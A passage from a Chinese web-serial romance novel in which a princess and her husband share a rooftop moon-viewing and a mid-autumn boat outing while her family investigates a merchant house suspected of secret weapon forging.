封眠听着他的抱怨,心下却暗自思忖:无缘无故地,罗驰尔冤枉褚景淇做什么?仅仅只是有罗家在身后撑腰,便如此肆无忌惮,胆大包天,连侯府嫡子也敢随意构陷? “我看他就是单纯看咱们不顺眼,寻到借口就想让咱们吃上一些苦头,好显摆他那点权势罢了。”褚景淇大咧咧地拍了拍封眠的肩头,十分没心眼地替罗驰尔找到了理由,“你说罗公也是很温文儒雅一个老头子,怎么有这么一个孙子?” 封眠微微侧首,与落在身后的折夫人对视一眼。想到方才在马车内折夫人与她说的事,封眠便觉得罗驰尔绝对不仅仅是看褚景淇不顺眼,所以想要教训他一顿,这么简单。 只是看褚景淇这副全然未觉的样子,他显然并未深思,知道的内情恐怕也有限。此事,不如给当初亲自去捞他出来的五哥写信问一问。 说话间,一行人已穿过抄手游廊,拐过一道月洞门,再往前便是封眠所居的藏弓院。 褚景淇却忽然猛地停下,探头探脑地四处张望了一下,压低声音,带着点做贼似的心虚:“那个……小表妹,那位傅公子,这几日还住在王府吗?” 他缩了缩脖子,“他那人怪凶的,每次碰见,看我的眼神都冷飕飕的。我怀疑他想揍我!” 褚景淇满脸困惑:“我是不是以前在哪儿见过他,不小心得罪过他呀?他干嘛独独看我这么不顺眼?他连对着小百里都比对我脸色好!” 封眠微微垂首,遮掩住面上浮现出的一点无奈,心道他不是独独看不惯你一个,他是对姓褚的,都一视同仁的讨厌。 “放心吧,他今日出门去了,你碰不着他。” 褚景淇这才松了口气,挺直了腰板,嘴上却还不肯服软:“我才不是怕他!只是是觉得他那人阴阳怪气的,看着就烦!” 他嘟囔着,大步跟着封眠走进了藏弓院。 几人刚在花厅坐下,饮了半盏茶,送别那位出面作证的游方郎中的柳寄雪便匆匆赶到。 “折夫人,让我替您请一次脉。”柳寄雪担心她情绪伤身,坚持要替他把脉。她轻轻搭上折夫人的腕脉,凝心细察片刻后,温言道:“夫人气血亏虚得厉害,这两日心神损耗极大,接下来务必静心休养,万不可再劳心伤神了。” 她收起脉枕,又从随身的药囊中取出一个瓷瓶,“这里有些我配好的宁神静气的丸药,夫人睡前用温水送服一丸,有助于安眠。” 褚景淇在一旁瞧着,忽然凑过来,眼巴巴地问:“柳姑娘,柳神医!这宁神丸……我能吃吗?” 封眠挑眉他:“你好端端的,吃这个做什么?” 褚景淇立刻垮下脸,唉声叹气,语气夸张:“长夜漫漫,孤枕难眠,等不到弥荼的回信,我这心里头老念着,需得吃点药安抚安抚才好。” 封眠忍不住缩了缩脖子,搓了搓手臂:“哎呀,肉麻死了!” 褚景淇立刻跳脚,不服气地反驳:“嫌我肉麻?你和小百里吃个早膳都要挨那么近坐着,我在外头喊了半天也无人理我,这难舍难分的模样,就不肉麻了?” 折夫人忍不住低低笑出声来,柳寄雪也抿唇莞尔。 封眠耳根微热,作势就要把他往外撵:“再胡说,我就让世子殿下找人把你送回秦王府去!” “别别别!小表妹我错了!”褚景淇立马讨饶,灵活地躲到椅子后,赶紧抛出正事,“我母亲帮你联络好了一位极有才学的女师傅,姓苏,曾是江南有名的才女,如今守寡在家,学问人品都是顶好的,她已答应来北疆了。” “当真?” “千真万确!” 封眠这才放过他,让他重新坐回桌边。 柳寄雪关切问道:“郡主,那女子书馆,可是快要建成了?” “正要与你说此事。”封眠笑道,“馆舍已修缮得差不多了。除了基础的读书识字,我还想开设医理一课。就想请你这位女神医,闲暇时去给她们讲讲基础的医理药理,至少让她们懂得些养生防病的常识,能处理些小伤小病。你可愿意?” 柳寄雪闻言,想到自己行医时见过的许多妇人,因男女大防之苦,即便病痛缠身也羞于启齿,求医无门,顿时坚定道:“郡主此议甚好!若能多些女子通晓医理,于自身、于家人皆是福泽。寄雪不才,愿尽绵薄之力。” “好了好了,正事就谈到这里吧,求几位热心肠的女侠士帮我思量思量,这仲秋团圆节,我应给弥荼送些什么礼好?” “讨姑娘开心不是你最拿手的事吗,竟也有求我们出主意的一天?”封眠忍不住调侃他。 “她自然是最特别的……”褚景淇难得扭捏了几分,旋即催促道:“快点快点,快帮我想一想吧,再不将东西送去,就要赶不上过节了。” 是呀,马上就要到仲秋节,她是不是也应该给百里浔舟准备些礼物呢?封眠的思绪飘远了些,兀自托腮思索起来。仲秋节应是有灯会的,到时约他去灯会逛一逛呢?她还没去民间的灯会逛过,也不知往年他都是如何过的…… 一旁的褚景淇见封眠视线一飘便不说话了,正想上前喊她一声,便被一左一右的两人拦住了。 折夫人:“郡主怕是也正想着要如何给世子殿下准备礼物,小侯爷就莫要为难他了,我这儿主意多的是。” 柳寄雪只一味跟着点头,两人径直将褚景淇架走了,待封眠回过神来,屋内便只剩下了她一人。 灯烛许是被流萤和雾柳悄悄进来点上了,正一簇簇地轻晃着,照出窗外浓郁的暮色。 封眠心里已然有了主意,她溜到窗前喊人:“流萤?雾柳?世子回来了吗?” 檐下的灯笼在晚风中微微摇曳,晕开一圈圈暖黄的光晕,并无人回应。 左边脸颊上忽地传来一阵细微的痒意,封眠猝然扭头,霎时间便被馥郁的香味扑了满鼻。 清远绵长的香味在静谧的夜色下,让她的心跳骤然空了一拍。 一捧深红色的木芙蓉抵在她鼻尖之上,重瓣的花朵开得正盛,几乎将她的眼都遮住了,眼前只剩下一片灼灼其华的红。 封眠先是一怔,随即唇角不自觉地上扬。她抬起手,莹白的指尖轻轻压下繁盛的花枝。 豁然开朗的视野中,百里浔舟轻倚在窗边,手中举着木芙蓉,正含笑低头看她,眼底仿佛盛满了碎星。 廊下烛火在他轮廓分明的侧脸上投下柔和的光影,夜下和灯看美人,更比花娇。 第93章 昏黄的烛光在夜色下显得暖融暧昧,夜风徐徐,轻轻吹动灯笼,摇晃间烛光轻缓地流淌在两人对视的眉眼间。 封眠忽然踮起脚尖,探出手就去掐百里浔舟的脸颊,“你吓死我了!” 衣袖下滑,露出两截雪白的手臂。 “当心。”百里浔舟见她探身的动作,担心她从窗内翻出来,非但不躲,反而上前一步,空着的那只手稳稳揽住了她的腰肢,微微用力,将她往上扶了扶,反让她能更省力地捏住他的脸颊“行凶”。 那捧深红的木芙蓉被挤在两人之间,馥郁的香气愈发浓郁,几片柔软的花瓣簌簌飘落,点缀在封眠的肩头和鬓边。 润泽的红唇与深红的花瓣相映,诱惑着百里浔舟的视线,指尖蠢蠢欲动。 “你走路怎么一点声音都没有?下次不许这样突然出现了……”封眠混无所觉,正兀自“谴责”他,见他一声不吭,垂着眼睛也不知道在想什么的模样,不由愈发努力地踮了踮脚,捏住他的脸颊肉晃了晃,重音强调,“听到了没有啊?” 话音在百里浔舟猝然凑近的动作下戛然而止。 百里浔舟就着她踮脚凑近的姿势,飞快地探身,在她唇上迅速啄了一下。 一触即分,如蜻蜓点水。 “听到了,眠眠。”声音温柔低哑,短短的几个字像是自唇齿间反复碾过一般,带着几许难以言说的缱绻。 封眠被他突如其来的偷袭惊住了,掐着他脸颊的手下意识松开,整个人倏地缩回了窗内,顺便抢过木芙蓉抱在怀中,堪堪用硕大的花朵遮住自己半张滚烫的脸,只露出一双水润黑瞳,瞪得圆圆的,带着三分羞恼七分无措,隔着花束瞪他:“你……刚说完,你就又吓我!” 百里浔舟丝毫认错的样 子也没有,看着她轻笑出声,眼睛弯成极漂亮的弧度。 封眠心里那一点恼意,转瞬就被他笑没了。 她移开视线,告诫自己不能为美色所迷,闷闷地隔着花朵问道:“这花是哪来的?” “路边摘的。”他答得云淡风轻。 封眠将花捧到眼前,仔细端详,花瓣饱满,层叠似锦,品相极佳,她狐疑地抬眼:“这品相,怎么看也不像是路边的野花。你莫不是……翻了谁家的花坛吧?” 百里浔舟挑了挑眉,似乎没想到她会这般说,站在原地一时没能说出啊。 封眠瞧他这样,越想越觉得有可能,急忙道:“不行不行,赶紧的,带上银钱去给人家赔罪!” 她联想到了褚景淇被罗驰尔冤枉下狱的事,心有余悸,“这要是被罗驰尔那个煞星知道了,保不齐又要揪住这点小事大做文章。虽说云中郡的百姓大多明理,待我们也亲厚,但也架不住虱子多了痒,麻烦多了愁啊!” 看她一副着急上火、恨不得立刻拉着他去登门赔钱的模样,百里浔舟终于忍俊不禁,乐不可支地将迈步要往门边走的封眠拉了回来,:“给了给了,给过银钱了。是一位阿婆照料的花圃,她摘了些在路边卖。” 封眠这才松了口气,小声嘟囔:“这还差不多。” “难不成在你眼里,我便是那等强取豪夺之人?”这回换成百里浔舟捏了捏她的脸颊。 只轻轻捏了一下,便在封眠侧首贴过来时,摊开掌心托住了她的脸颊。 封眠就这样贴在他的掌心处,冲他弯起眼睛笑,“我这是关心则乱才对。” 掌心触碰到的肌肤嫩滑如凝脂,温热的呼吸不时轻轻洒在他的手腕处,泛起轻微的痒意,沿着手臂,一直蔓延至心口。 百里浔舟低头看她,目光一错不错,月色与灯影交汇,映得她如玉人一般。 他心中微动,轻声问:“困不困?” 封眠摇了摇头,“不困啊。” “那……”他顿了顿,冲封眠轻轻眨了眨眼,语带蛊惑与期待,“要不要去屋顶赏月?” 封眠眼睛倏地一亮,她还从未爬过屋顶呢,一时之觉得新奇无比,猛猛点头,“好啊!” 说着,她便将手中的木芙蓉搁到手边的花架上,然后迫不及待地扶着窗框往外爬,试图直接从窗户出去。 “哎,停停停。”百里浔舟被她这莽撞的动作吓了一跳,赶紧伸手制住她,又是好笑又是无奈:“有正门不走,你爬什么窗户?” 封眠实则是一时激动,忘记了可以走门这回事,但眼下被人制住了,不进不退地卡在窗户上,反而生起了一股挑战的心思,她马上就要上房顶了,连个窗户都不能爬吗? “我偏不想走门。”她将脖子一梗,就是不肯将爬了一半的腿撤回去。 百里浔舟闷笑两声,带着笑意妥协道:“好好好,那我们就爬窗户出来,来吧。” 他松开了扶着封眠胳膊的手,向后退开半步,给她留下可以施展的空间。 封眠两手攀着木制窗框,右膝跪在窄窄的窗槛上,左脚的足尖则在地上踮到了极致,几乎只有最前端一点接触着地面。她猛地用力,试图凭借这一撑之力将整个身体轻盈地攀上去,然而力道终究差了几分,左脚倏地跌回了原地。 她轻轻“哼”了一声,脸上并无气馁之色,重新调整了姿势,再次用力,这次连牙齿都用力地咬紧了,秀气的眉头也微微蹙起。 攀着窗框的手指因过度用力而微微泛白,指缘处又渐渐被硌得红了起来。她猛地一个用力,这次力道倒是够了,却因冲势过猛,一时没收住劲儿,额头直直朝着坚硬的窗框撞了过去。 一只骨节分明的手猛地探过来,稳稳垫在了她的额前,接住了她那颗莽撞乱撞的脑袋。与此同时,另一只温暖有力的手掌已然轻柔地拊上了她的腰侧,掌心温度透过薄薄衣料传来。 那只手只是微微向上一托,便将她整个人从窗内轻盈地捞了出来,裙摆在半空划过一道利落的弧度,旋即稳稳当当地落在了他的身前。 两指反叩,在封眠的额上敲了一记。 “一看你就没翻过窗,就不能喊我帮一下吗?”百里浔舟轻声中带着一点封眠竟然不向自己求助的不满。 他俯下身,想撩起她的裙摆看一眼,“膝盖疼不疼?我瞧瞧伤到没有……” 封眠往一侧躲了一步,“没事啦,快些走吧,怎么上去屋顶上呢?爬梯子吗?” 她像只第一次离巢学习飞翔的小鸟,雀跃得叽叽喳喳。 百里浔舟含笑听着,牵着她走到院中,抬起手臂稳稳环住她的腰肢。“抱紧了。” 他足尖轻点,身形便如鹤影掠起。 封眠下意识一闭眼,只觉得夜风拂过耳畔,再抬眼时,已然立在铺满月光的屋脊之上。 她下意识环住了身侧的百里浔舟,视线颤颤落在脚下的瓦片之上。 百里浔舟的掌心牢牢揽住她的腰,“别怕,我在呢。” 封眠缓缓深呼一口气,才试探着将视线放远一些。所见景色其实与楼阁之上登高望远时望见的差不多,只是如今换了个格外不同寻常的刺激场景,便仿佛多了几分趣味。 王府的灯火在脚下铺展,天边明月近得仿佛触手可及。 “来,坐下。”百里浔舟扶着封眠小心翼翼地在屋脊上坐了下去,旋即变戏法似的自身后取出两个小酒坛,坛身相撞,发出清脆的一声响。 “夜下赏月,岂能无酒相佐?” 封眠愕然地睁大了眼,左右瞧瞧空荡荡的屋顶,忽然眯起眼,“你是不是早就计划好了?” 百里浔舟但笑不语,将手中酒坛分给她。 这两日发生了太多事,他只想让她能开心一些。 封眠自然能猜出他是如何想的,心下一暖,接过酒坛抱在怀里,抬眼瞧见停在后院的马车,便与百里浔舟道:“今日在回来的马车上,折夫人与我说了件要事……” “此事紧急吗?”百里浔舟忽然打断她,“明日再说有影响吗?” 封眠愣了一下,想了想道:“那倒应该没有影响。” “那今夜就不说这些。”百里浔舟拔掉封住酒坛的葛布,单掌托住酒坛底部,向封眠的方向倾了倾坛身,示意她与自己碰一下。 封眠便将话咽了回去,准备掀开自己手中酒坛的葛布,忽然又想到什么,问道:“那个罗驰尔今日找你什么麻烦了?” 百里浔舟轻轻叹气,“一定要在如此美好的月色下,与我谈论别的男人吗?” “我这是关心你嘛。”封眠皱皱鼻尖。 百里浔舟伸手过去,两指一动便将葛布掀掉了,漫不经心道:“无非是揪了几名士卒的小错漏,想要借题发挥罢了。放心,他在北疆成不了什么气候。” “真的,不说这些了,快尝尝我备的酒吧。” 百里浔舟自己将酒坛凑到封眠面前,与她碰了碰,然后仰首就着酒坛饮了一口,十分洒脱快意的模样,余光则瞥着封眠的动作。 封眠两手捧着酒坛,亦仰头试探着喝一口酒,旋即便被呛得闭上眼吐了吐舌头,“好烈!” 听到身侧传来的闷笑声,封眠抬手便捶了过去,“你故意的是不是?” 攥成拳的手落进了一个温热的掌心。 “抱歉抱歉,拿错了,我手中这坛才是替你准备的。” 身侧的热源靠了过来,眼前的光被遮住了。封眠的眼睫颤了颤,缓缓睁开一线,便瞧见百里浔舟在面前放大的一张俊颜,他眼底微微含着笑意,近得能看清他根根挺翘的睫毛。 灼热的呼吸喷洒在她的脸颊上,连带着她耳后都升起了热意。 他几乎贴着她的唇瓣呢喃:“是甜的,你尝一尝。” 然后唇上便覆上了一片湿热,清甜的果子的味道自相贴的唇瓣间传了过来,封眠下意识伸出舌尖舔一舔唇瓣,便被逮住空隙衔住了。 重重的吻落下,唇舌的厮磨间,封眠渐渐仰起了头,迷蒙的视线间只能看见模糊的月的清辉,仿佛一片流动的金色池水,洒在他耳后。 腰间被紧扣着,灼热的掌沿着后背滑动,空气中清甜与酷辣的酒香交缠成一片稠密的、密不可分的湿雾。 耳边是细碎、克制又有些难耐的闷哼声,还有…… “你们两个,给我下来!” 一道咬牙切齿的声音惊雷一般在院中响起,两人齐齐一抖,飞速清醒了过来。 百里浔舟挡在双颊潮红的封眠 面前,小心翼翼向院内看了一眼,便见封辞偃黑着脸叉腰站在院内。 他咬牙再次强调了一遍:“下来!” 夜风习习,卷去了身上的燥意,百里浔舟将封眠半遮在身后,两人都垂首乖巧地挨训。 “你们俩嫌活着不够刺激是不是?深更半夜爬什么屋顶?摔下来怎么办?” “尤其是你!百里浔舟,你摔了就摔了,小满又没习过武,你还带着她胡闹?”封辞偃集中怒火训斥百里浔舟。 百里浔舟蔫头耷脑:“都是我的错,是我考虑不周,硬要带眠眠上屋顶的……” “小叔叔你别怪他,阿琢武功那么好,他能保护好我的。是我想上去看看月亮,我们下次不敢了!”封眠赶紧替百里浔舟说话。 “还敢有下次?善泳者溺,你怎知他不会失手?都是成家的人了,行事还如此不知轻重……” 封眠见封辞偃还要再训,连忙站出来转移话题:“小叔叔,折夫人今日与我说了一桩要事!再不说就来不及了!” 封辞偃狐疑瞧她。 第94章 屋内烛火通明,紫檀案几前,三人围坐着。 封眠认认真真地将折夫人所言转述了一遍,“她说陈会长生前,私下里没少为罗家办事,处理一些见不得光的银钱往来。” 手边推来一盏温茶,封眠正好有些口渴,便端起来喝了两口,润了润喉才接着说道:“她有一次无意间在陈会长的书房打开了一个暗格,瞧见过一份信件的拓本。” 手背又被微凉的盏壁碰了一下,封眠垂眸,便见竹青色的茶盏内堆着几粒圆滚滚的剥了皮的葡萄,小银叉戳在晶莹的果肉上,渗出一点透明的汁水。 视线微微往旁边一挪,封眠便瞧见百里浔舟手上正在一点点细致地拨着葡萄皮,似乎因为指尖黏着葡萄汁液不太舒服,眉心时蹙时舒的,剥好一个便如临大敌地捧在指尖,小心翼翼放进面前的茶盏里。 笃笃,两声敲桌声唤回封眠的视线,对面的封辞偃一手搁在桌上,挑眉瞧她,“说完了?” 封眠讪讪一笑,拿起小银叉戳着的葡萄一口吞掉,继续将事情说完:“她没来得及细瞧,只隐约看到‘矿山’、‘私铸’等字眼。” 封辞偃扬了扬眉。 “她说那拓本藏得极其隐秘,显然关系重大。这些年她也明里暗里地想过查一查,但一无所获。” 封眠说罢,小叉子落下又抬起,几口便将茶盏内的葡萄吃完了,一只骨节修长的手便适时地伸过来,将空茶盏取走,换上一盏新剥的葡萄。 封眠悄悄眯眼笑起来。 百里浔舟看着她拿着小叉子将葡萄送到嘴边,心下颇为遗憾,他很想亲自剥了葡萄喂到她嘴边,就像书里头画的那样,可惜…… “咳咳。” 可惜有个比屋内灯烛还要闪亮的小叔叔在场。 封辞偃轻咳两声,瞥了一眼百里浔舟。虽说他一直自带老岳父般的眼光,天然就看百里浔舟处处都不顺眼,但眼下他又是给封眠倒水又是给她剥葡萄,倒真是挑不出什么刺来。 “方才小满说的那些,你都听见了吗?” 百里浔舟点点头:“听见了,陈家与罗家私下有些见不得人的勾当。” 他一心二用,手上动作不停,正经事半点也没有落下。 “陈家在云中郡这么久了,你和你爹就没发现一点不对劲儿的地方吗?” 百里浔舟还没开口,封眠便先回护道:“小叔叔,阿琢和王爷都是武将,整日里忙着巡边,对一个云中郡商户私下搞的些小动作,自然难免疏漏。” “我才问一句,你就急着护上了。”封辞偃无奈摇头。 封眠笑眯眯将手中还剩一粒葡萄的茶盏推过去,“小叔叔吃葡萄。” “无福消受啊。”封辞偃将茶盏推回去。 “小叔叔说得不错,是我和父亲掉以轻心了。”百里浔舟坦然道,“罗家人这是第一次出现在北疆,真没想到会有人与他们暗中联合。” “罗家光一个小的就那么阴险狡诈,其他人做事怕是更是隐秘难测。”封眠托腮想了想自己曾见过的罗家人,“你瞧宫里头的柔妃,不也是蔫坏得很。我看流着罗家血脉的上上下下这么多人里,也就褚景涟一个小蠢蛋。” 封辞偃神色微凝:“你在宫中时,他们可曾欺负你?我记得柔妃与你母亲素来不睦。” “有舅舅护着我,他们也做不了什么太过分的事,褚景涟可从没在我这儿讨到便宜。”封眠眨眨眼,忽然想到什么,“不过小叔叔可知,太后为什么那么不喜我母亲吗?” 太后待先皇的每一个子女都十分宽厚,独独对她母亲多有指摘。 封辞偃的神色古怪了一瞬,说道:“太后与安乐公主的生母,曾是死对头。” 封眠恍然大悟了:“噢,所以他瞧见自家儿子待我母亲如亲姐弟一般,才会那么生气。” 封辞偃沉默的点了点头,旋即换了个话题:“既然已知晓陈家和罗家有问题,那便查起来吧。” 他看向百里浔舟,目光如炬。 于是之后数日,百里浔舟与封辞偃都没有回府。 恰好临近秋播,广袤田间一派繁忙景象。封眠难得见到这般热火朝天的农事,兴致勃勃地提着裙摆跑到田边围观。 她在宫中虽也见过亲耕礼,但那走个过场的仪式,远不如眼前这连绵的田垄与其间无数劳作的百姓来得震撼。 成立虚带着司农署的同僚们,正在荒地旁教百姓们如何种下土豆红薯的种子。 封眠沿着窄窄的田垄往前走,不料脚下泥土松软,一个趔趄,不小心便撞到了田垄下的一个人。眼见她便要砸到那人身上,身后伸来一只稳健的手轻轻托了他一把。 顾春温自田垄下站着,衣角站着泥土也依然风姿卓然,“郡主当心。” 待将封眠扶稳站好了,顾春温才去把方才被封眠撞倒的陆鸣竹扶了起来,“陆兄还是莫要站在如此危险的地方了。” 他真怕陆鸣竹被耒耜撞倒剐蹭了。 陆鸣竹从地上爬起来,衣袍沾得都是尘土,闻言耳根微红,笑道:“无妨无妨,若不是我方才在这里垫了一下,郡主便要摔下去了。” “抱歉,陆大人。”封眠颇为不好意思地笑笑。 陆鸣竹赶忙摆手,“无妨无妨,我今日若非得倒霉一次,如此反而甚好!” 他磕绊一下,解释道:“我是说,好过被地里的牛顶到。” 封眠没忍住笑出声来。 日光洒落在穿着一身杏黄云锦八破裙的封眠身上,织金暗纹浅浅流光,愈发衬得笑容明亮。 这时身后有侍从小跑着上前来报:“郡主,京中来人了。” “陛下与太子殿下特意命臣为郡主送来节礼。”使臣恭敬行礼,身后的侍从们将身前的檀木箱一一打开。 “舅舅最近身体可好?”封眠只看了一眼琳琅满目的箱子,便收回了视线。 使者恭敬回禀:“陛下近来染了些风寒,虽不严重,却总不见好。太医嘱咐要好生休养,太子殿下说,盼您多写几封信回去,也好督促陛下按时服药。” 舅舅这么大的人了,督促她吃药时总是严厉得很,轮到自己倒不会好好吃药了?封眠蹙眉,在心下记了一笔。 “太子殿下记着郡主爱吃蟹,特意亲自挑了几篓肥蟹送来。”使者将封眠向前领了几步,足足三篓肥美的螃蟹,个个青壳白肚,被蒲草绑着,钳子还在缓慢地夹动着。 千里迢迢运来的蟹,摆在她面前的活蟹便有三篓,也不知路上死了多少只。封眠有些心疼,又感动于太子兄长惦记着给她送蟹。 后日便是仲秋了,也不知百里浔舟能否赶回来? 回屋头,她提笔给百里浔舟写了张字条,又画了一只憨态可掬的胖螃蟹,孤零零地盯着小池塘,模 样可怜巴巴的,命人快马给百里浔舟送去。 转眼便是中秋,从晨起到傍晚,也没有百里浔舟的只言片语传来,封眠压下心中失落,陪着王妃用了膳。 傍晚时分,王妃笑着催促封眠去街上看灯会,“街上热闹得很,阿琢早念着想让你瞧一瞧北疆的灯会了,你便去凑凑热闹。我年纪大了,走不动这许多路,就不陪你了。” 封眠本无心赏灯,但拗不过王妃好意,只得带上流萤雾柳几人出门。 长街上灯火如昼,人潮涌动。 身侧流萤和雾柳笑语连连,争着给她指街上最好看的花灯。封眠原本略有些低沉的心绪也被带的跃然了起来,只是心下时不时闪念:若是阿琢在就好了。 “郡主且瞧着吧,定是我先迎来那盏兔子灯!”流萤和雾柳较着劲去前面猜灯谜。 封眠便打算寻个避开人流的地方等她们,跟那个走两步,身侧人潮忽然汹涌起来,将身后护着的侍女冲散,一人轻轻撞过他的肩头。 她下意识转身,便见灯火阑珊处,一个戴着狐狸面具的男子静静立在她面前。 周遭喧阗人语隐去,煌煌灯火都在视野中模糊成一片绚烂绮丽的彩光,唯有他挺拔的身姿格外清晰。 他垂首,修长的指轻轻将面具向上推去,露于灯影之下的眉眼鼻唇皆是在脑海中描绘了多时的模样。 是百里浔舟。 封眠睁大了眼睛,还未惊呼出声,他已伸出食指轻轻抵在唇前:“嘘。” 百里浔舟自身后取出一张兔子面具,温柔地戴在封眠脸上,随即握住她的手,带着她逆着人流往外跑去。 风儿喧嚣,将嘈嘈人声尽数卷入身后。 远离热闹街市的静谧湖畔旁,泊着一艘乌篷船。 百里浔舟牵着方面上了船,牵着她走入船舱。 船内四处都铺着厚厚的软垫,小炉上温着黄酒,竟还蒸着两只通红的蟹。 “你什么时候偷偷准备的?你早就回来了?” 百里浔舟但笑不语,封眠假做气恼地轻捶了他一下,“母亲是不是也知道?” “这蟹还是我请母亲偷出来的,叫她将我好一顿骂。”百里浔舟龇牙咧嘴地告状。 封眠轻哼一声:“活该。” “我还不是想给你准备惊喜嘛。”百里浔舟将蟹取来摆好,又郑重地取出一套蟹八件来。 “我来吧。”封眠担心他不会吃蟹,正要上手,被百里浔舟轻轻推开手。 “这种麻烦事我来,你只要享受便好。我可是躲起来练习了好久如何拆蟹。” 他说着便开始拆蟹,动作虽然生疏,却十分到位,显然是用心学过了。 “蟹性寒,不能多用。”他将剥好的蟹肉仔细码在青瓷碟中,“只备了两只,你我一人一只。” 看着盘中越来越多的蟹肉,封眠笑:“这么厉害呀?” “你今日才知道我厉害吗?看来日后我还要努力才行。”百里浔舟絮絮地说着,“待到冬日,北疆飘雪结冰,很是漂亮,还有冰嬉赛,到时我带你去玩,你便看我替你赢下一局。” “那我可等着了。” 他又催促:“吃蟹可不能等,你快趁热尝一尝。” 封眠执箸尝了一口,他便眼巴巴地凑过来问“好吃吗?” 好似这蟹好不好吃,全看他拆蟹的手艺精不精湛一般。 封眠忍笑,点点头:“好吃。” 百里浔舟这下才算是放了心,拆完蟹,净过手,又执起温酒的小壶,倒了两杯温热的黄酒。 封眠接过其中一杯便要饮下,却被百里浔舟轻轻握住了手腕,“不是这样喝的。” “嗯?”封眠不解地看向他,喝黄酒还有什么讲究吗? 百里浔舟握着她的手腕抬起,带着她的手臂穿过自己举着酒杯的那只手的臂弯。 两人的距离因这个动作骤然拉近,衣袖相叠,呼吸可闻。 他垂眸温柔道:“大婚那日,你我未饮合衾酒。” 封眠微微一怔,眉眼轻动,微微弯了弯唇角,便顺着他的动作微倾身贴近,与他手臂交缠,饮下了一杯迟来的合衾酒。 乌篷船在湖上随着水波轻轻摇晃,百里浔舟将船舱内的东西尽数清到了船头,夜风钻入船舱内,卷去了残余的食物味道。 隔着撩起的船帘,封眠瞧见蔺蔺晃动的水波,“这船不会驶到什么奇怪的地方吧?” “不会,我提前试过了,它现在就会卡在芦苇荡中间,然后停下。” 随着百里浔舟话音落下,船身一震,果然便停住了。 封眠一呆,忙翻身跪坐起来,膝行两步到百里浔舟身侧,倾身越过他去撩起船帘向外看,入目果然一片茂密的芦苇,夜风轻拂,月光下似层层雪浪。 “竟真的是芦苇荡,你到底何时回来的,怎么还有空试船?”她仍对百里浔舟悄悄瞒着她回来,让她挂心一事耿耿于怀。 手撑着船壁正准备直起身,腰间忽然被轻轻抓了一下,痒得封眠下意识躲闪了一瞬,失去平衡,径直摔进了百里浔舟怀里。 百里浔舟张开双手,等着封眠“投怀送抱”,长臂一合,便将她环抱住了,“因为我想……” 他的声音在封眠耳畔低低的响起,带着一点气音,呼出的气息让耳垂散发出滚烫的热意,“给你一个难忘的夜晚……” 轻轻的一个吻落在了灼烫的耳垂上,封眠听见百里浔舟轻笑了一声,心下不服气,两手撑着他的胸膛支起身子,一口咬上了他的喉结。 听见他闷哼一声,被她压在身下的腿跟着一颤,她又担心咬得重了,飞快地亲了一下,“抱……” 吐出的音节还未成型,便觉一阵天旋地转,她已仰倒在软绵绵的垫子上,身下的船轻晃,细微的水流声像是贴着脑袋边流过去。 一只手捧起她的脸,细碎的吻落在她的眼睛、鼻梁和湿润的唇瓣之上,酥麻的痒意一路蔓延至指尖。 船内照明的夜明珠骨碌碌滚落,在百里浔舟眼底浸润出艳丽的光。 干燥的唇带着一点点的颤抖再次吻到封眠的耳侧,“可以吗?” 一个吻代替了所有的回答。 船外雨丝细如一场薄雾,笼在晃动的乌篷船上,船内的热气聚集着,轻轻一碰,便化作三两滴薄汗—— 作者有话说:中秋快乐[亲亲][亲亲] 一个好消息,本文终于可以入v啦[烟花],申请了10号入v,完结前不会设订阅率限制,看到哪里就从哪里接着订阅就好了,祝大家中秋愉快,看文愉快,生活愉快[抱抱] 第95章 晨风透过四面敞开的雕花窗棂潜入室内,柳寄雪坐在床边的矮凳上,指尖轻轻搭在封眠皓如冷月的手腕上。 她视线向旁轻轻一侧,便对上百里浔舟紧张兮兮的眼神。他站在一旁,薄唇紧抿,一副自己罪大恶极又如临大敌的模样。 “放心吧,郡主无碍。” 柳寄雪收回手,心下颇有些无奈。一大早百里浔舟派人火急火燎地来医馆找她,她还以为封眠出了什么事,吓了好大一跳,结果就只是…… 她悄悄瞪了百里浔舟一眼,转而不太赞同地看向封眠,意有所指地叮嘱道:“郡主日后莫要太纵着世子殿下了,凡事总需适度,于养生之道更是如此。” 封眠:“……” 百里浔舟:“……” 两人闻言,几乎是同时下意识地别开了脸。一层层绯色悄无声息地自脖颈处蔓延开来,迅速晕染过耳根,最终攀上了双颊。 柳寄雪仿佛未曾察觉这满室的尴尬,神态自若地收好了医箱,起身,“没有旁的事,我便先回医馆了,今日医馆还有许多病人要来复诊。” 她步履从容地背着医箱走了出去,徒将一室微妙的寂静留在了身后。 直到房门被轻轻带上,封眠才一把拉起锦被,将自己半张滚烫的脸颊埋了进去,只露出一双羞恼的明眸 ,瞪着床边的罪魁祸首:“都说我没事了,你还非要去喊阿雪来。” 百里浔舟在床沿坐下,挨着她,声音放得极低,恳切认错:“是我不好。我……我也不知她只是搭个脉,便什么都知道了……” 他顿了顿,找补道,“昨夜下了雨,湖上寒气重,我是真担心你受了凉。” 脸上的热气稍稍消退几分,封眠隔着被子闷闷地哼了一声。她在心里默默宽慰自己,反正两人早已是名正言顺的夫妻,这种事再正常不过,没必要如此羞赧。 她微微扬扬下巴,故意娇气地指挥起来:“给我倒盏热茶来。” 百里浔舟立即起身斟了一盏茶,小心吹了吹,确认温度适宜后,两手捧着茶杯递到了封眠的唇边。 封眠就着他的手轻轻抿了一口温热的茶汤,这才抬眸正色问道:“你与小叔叔这几日可查出什么来了?” 百里浔舟的神色也肃然起来,在她身侧坐下,压低声音:“陈家在西边确实私下承包了一座矿山,具体位置还不太明确。寻常人冒着掉脑袋的风险包一座私矿能做什么呢?要么,他们图财,筹谋铸□□。要么更糟糕……” 百里浔舟的声音愈发低了几分,“是在私铸兵器。” 封眠心头一跳,私铸兵器总不能是为了武装自家的护卫队吧?朝廷并没有严禁刀剑的流通,豪门大院内养着的护卫们人手都能佩得一套刀剑,陈家又能有多少金银财宝需要如此来守护? 她心底只有一个可能性,那便是谋反。 封眠已经有许多时日没有想起梦中看过的那段史书了,如今那段记载着定北王世子谋反的文字再次浮现在脑海中,蓦地便让她联想到了陈家。 或许在史书记载的那一段未来里,因某些事而心生反意的定北王世子,便是受了陈家的鼓动? 难道谋反的火苗必然要从北疆燃起来吗? “眠眠?” 一声轻唤将封眠的神思拉了回来,她看向身侧的百里浔舟,他正一脸地看着她,垂落的额发柔软地搭在明亮眼眸的上方,整个人散发着柔软居家的气息。 “你怎么了?哪里不舒服吗?”他话说了一半便看见封眠的脸色一点点变白,漆黑的瞳仁失去了光彩,一片空茫,仿佛陷入了什么噩梦之中一般,顿时吓了一跳,半蹲在她身前,担忧地仰起头观察她的状态。 